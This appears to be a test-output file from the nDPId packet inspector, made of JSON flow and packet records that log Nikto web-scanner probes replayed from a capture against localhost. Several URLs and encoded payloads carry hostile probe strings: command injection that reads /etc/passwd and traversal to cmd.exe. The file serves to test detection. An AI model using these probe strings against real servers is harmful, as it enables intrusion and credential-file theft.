+00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":523,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":523,"flow_packet_id":1,"flow_first_seen":1576420277515,"flow_last_seen":0,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":200,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":200,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50608,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-local\/cgiemail-1.6\/cgicso?query=AAA","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000344)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":524,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":524,"flow_packet_id":1,"flow_first_seen":1576420277516,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50610,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00644{"flow_id":524,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":516646,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"AAAAAAAAAAAAAAAACABFAADO6rNAAEAGUXR\/AAABfwAAAcWyH5BduNJTZLl5JoAYAED+wgAAAQEICp1m\/jSdZv40R0VUIC9zZXJ2bGV0L1NjaGVkdWxlclRyYW5zZmVyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDAzNDUpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":524,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":524,"flow_packet_id":1,"flow_first_seen":1576420277516,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50610,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/servlet\/SchedulerTransfer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000345)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":525,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":525,"flow_packet_id":1,"flow_first_seen":1576420277518,"flow_last_seen":0,"flow_tot_l4_data_len":194,"flow_min_l4_data_len":194,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":194,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50612,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00652{"flow_id":525,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":518010,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"AAAAAAAAAAAAAAAACABFAADWgsZAAEAGuVl\/AAABfwAAAcW0H5A6eLoo9CriDoAYAED+ygAAAQEICp1m\/jWdZv41R0VUIC9zZXJ2bGV0L3N1bmV4YW1wbGVzLkJCb2FyZFNlcnZsZXQgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDM0NikNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00783{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":525,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":525,"flow_packet_id":1,"flow_first_seen":1576420277518,"flow_last_seen":0,"flow_tot_l4_data_len":194,"flow_min_l4_data_len":194,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":194,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50612,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/servlet\/sunexamples.BBoardServlet","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000346)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":526,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":526,"flow_packet_id":1,"flow_first_seen":1576420277519,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50614,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00645{"flow_id":526,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":526,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":519337,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"AAAAAAAAAAAAAAAACABFAADPVxFAAEAG5RV\/AAABfwAAAcW2H5BSXG\/tRc4oyoAYAED+wwAAAQEICp1m\/jedZv43R0VUIC9zZXJ2bGV0cy9TY2hlZHVsZXJUcmFuc2ZlciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDM0NykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":526,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":526,"flow_packet_id":1,"flow_first_seen":1576420277519,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50614,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/servlets\/SchedulerTransfer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000347)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":527,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":527,"flow_packet_id":1,"flow_first_seen":1576420277520,"flow_last_seen":0,"flow_tot_l4_data_len":184,"flow_min_l4_data_len":184,"flow_max_l4_data_len":184,"flow_avg_l4_data_len":184,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50616,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00640{"flow_id":527,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":527,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":520947,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"AAAAAAAAAAAAAAAACABFAADMFYpAAEAGJqB\/AAABfwAAAcW4H5AzUC1t6XmH4oAYAED+wAAAAQEICp1m\/jidZv44R0VUIC9wZXJsLy1lJTIwcHJpbnQlMjBIZWxsbyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAwMzUyKQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":527,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":527,"flow_packet_id":1,"flow_first_seen":1576420277520,"flow_last_seen":0,"flow_tot_l4_data_len":184,"flow_min_l4_data_len":184,"flow_max_l4_data_len":184,"flow_avg_l4_data_len":184,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50616,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/perl\/-e%20print%20Hello","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000352)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":528,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":528,"flow_packet_id":1,"flow_first_seen":1576420277522,"flow_last_seen":0,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":196,"flow_max_l4_data_len":196,"flow_avg_l4_data_len":196,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50618,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00657{"flow_id":528,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":528,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":522567,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"AAAAAAAAAAAAAAAACABFAADYfsdAAEAGvVZ\/AAABfwAAAcW6H5DDSkYijR1boIAYAED+zAAAAQEICp1m\/jqdZv46R0VUIC9jL3dpbm50L3N5c3RlbTMyL2NtZC5leGU\/L2MrZGlyKy9PRyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDQ5MSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":528,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":528,"flow_packet_id":1,"flow_first_seen":1576420277522,"flow_last_seen":0,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":196,"flow_max_l4_data_len":196,"flow_avg_l4_data_len":196,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50618,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/c\/winnt\/system32\/cmd.exe?\/c+dir+\/OG","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000491)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":529,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":529,"flow_packet_id":1,"flow_first_seen":1576420277525,"flow_last_seen":0,"flow_tot_l4_data_len":232,"flow_min_l4_data_len":232,"flow_max_l4_data_len":232,"flow_avg_l4_data_len":232,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50620,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00704{"flow_id":529,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":525111,"pkt_caplen":266,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":266,"pkt_l4_len":232,"pkt":"AAAAAAAAAAAAAAAACABFAAD8VQBAAEAG5vl\/AAABfwAAAcW8H5BNImwcgJPNrYAYAED+8AAAAQEICp1m\/j2dZv48R0VUIC9tc2FkYy8uLiUyNTVjLi4vLi4lMjU1Yy4uLy4uJTI1NWMuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpcitjOiU1YyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAwNDk0KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00827{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":529,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":529,"flow_packet_id":1,"flow_first_seen":1576420277525,"flow_last_seen":0,"flow_tot_l4_data_len":232,"flow_min_l4_data_len":232,"flow_max_l4_data_len":232,"flow_avg_l4_data_len":232,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50620,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/msadc\/..%255c..\/..%255c..\/..%255c..\/winnt\/system32\/cmd.exe?\/c+dir+c:%5c","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000494)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":530,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":530,"flow_packet_id":1,"flow_first_seen":1576420277526,"flow_last_seen":0,"flow_tot_l4_data_len":232,"flow_min_l4_data_len":232,"flow_max_l4_data_len":232,"flow_avg_l4_data_len":232,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50622,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00704{"flow_id":530,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":526315,"pkt_caplen":266,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":266,"pkt_l4_len":232,"pkt":"AAAAAAAAAAAAAAAACABFAAD8wPBAAEAGewl\/AAABfwAAAcW+H5C+lvgMjxfu9IAYAED+8AAAAQEICp1m\/j6dZv4+R0VUIC9tc2FkYy8uLiUyNTVjLi4vLi4lMjU1Yy4uLy4uJTI1NWMuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpcitjOiU1YyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDQ5NSkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00827{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":530,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":530,"flow_packet_id":1,"flow_first_seen":1576420277526,"flow_last_seen":0,"flow_tot_l4_data_len":232,"flow_min_l4_data_len":232,"flow_max_l4_data_len":232,"flow_avg_l4_data_len":232,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50622,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/msadc\/..%255c..\/..%255c..\/..%255c..\/winnt\/system32\/cmd.exe?\/c+dir+c:%5c","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000495)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":531,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":531,"flow_packet_id":1,"flow_first_seen":1576420277527,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50624,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00645{"flow_id":531,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":531,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":527534,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"AAAAAAAAAAAAAAAACABFAADOGxtAAEAGIQ1\/AAABfwAAAcXAH5ABqiP992RjDoAYAED+wgAAAQEICp1m\/j+dZv4\/R0VUIC9tc2FkYy9zYW1wbGVzL2FkY3Rlc3QuYXNwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAwNDk2KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":531,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":531,"flow_packet_id":1,"flow_first_seen":1576420277527,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50624,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/msadc\/samples\/adctest.asp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000496)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":532,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":532,"flow_packet_id":1,"flow_first_seen":1576420277528,"flow_last_seen":0,"flow_tot_l4_data_len":201,"flow_min_l4_data_len":201,"flow_max_l4_data_len":201,"flow_avg_l4_data_len":201,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50626,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00665{"flow_id":532,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":528897,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"AAAAAAAAAAAAAAAACABFAADdW\/pAAEAG4B5\/AAABfwAAAcXCH5D1lWMf6eFgloAYAED+0QAAAQEICp1m\/kCdZv5AR0VUIC9hdGhlbmFyZWcucGhwP3Bhc3M9JTIwO2NhdCUyMC9ldGMvcGFzc3dkIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDA2NjcpDQoNCg=="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":532,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":532,"flow_packet_id":1,"flow_first_seen":1576420277528,"flow_last_seen":0,"flow_tot_l4_data_len":201,"flow_min_l4_data_len":201,"flow_max_l4_data_len":201,"flow_avg_l4_data_len":201,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50626,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/athenareg.php?pass=%20;cat%20\/etc\/passwd","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000667)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":533,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":533,"flow_packet_id":1,"flow_first_seen":1576420277534,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50628,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00644{"flow_id":533,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":533,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":534064,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"AAAAAAAAAAAAAAAACABFAADO4OJAAEAGW0V\/AAABfwAAAcXEH5B2FdgIExVLAoAYAED+wgAAAQEICp1m\/kWdZv5FR0VUIC9jZC1jZ2kvc3NjZF9zdW5jb3VyaWVyLnBsIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMDY3KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":533,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":533,"flow_packet_id":1,"flow_first_seen":1576420277534,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50628,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cd-cgi\/sscd_suncourier.pl","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001067)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":534,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":534,"flow_packet_id":1,"flow_first_seen":1576420277535,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50630,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":534,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":534,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":535464,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEalJAAEAG0d9\/AAABfwAAAcXGH5Ak\/VK4qoIqcIAYAED+uAAAAQEICp1m\/kedZv5HR0VUIC9jZ2ktYmluL2hhbmRsZXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTA2OSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":534,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":534,"flow_packet_id":1,"flow_first_seen":1576420277535,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50630,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-bin\/handler","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001069)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":535,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":535,"flow_packet_id":1,"flow_first_seen":1576420277536,"flow_last_seen":0,"flow_tot_l4_data_len":216,"flow_min_l4_data_len":216,"flow_max_l4_data_len":216,"flow_avg_l4_data_len":216,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50632,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00684{"flow_id":535,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":536708,"pkt_caplen":250,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":250,"pkt_l4_len":216,"pkt":"AAAAAAAAAAAAAAAACABFAADsKwtAAEAGEP9\/AAABfwAAAcXIH5DuMhPiKIF7BYAYAED+4AAAAQEICp1m\/kidZv5IR0VUIC9jZ2ktYmluL2hhbmRsZXIvbmV0c29uYXI7Y2F0IC9ldGMvcGFzc3dkfD9kYXRhPURvd25sb2FkIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMDcwKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00808{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":535,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":535,"flow_packet_id":1,"flow_first_seen":1576420277536,"flow_last_seen":0,"flow_tot_l4_data_len":216,"flow_min_l4_data_len":216,"flow_max_l4_data_len":216,"flow_avg_l4_data_len":216,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50632,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-bin\/handler\/netsonar;cat \/etc\/passwd|?data=Download","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) 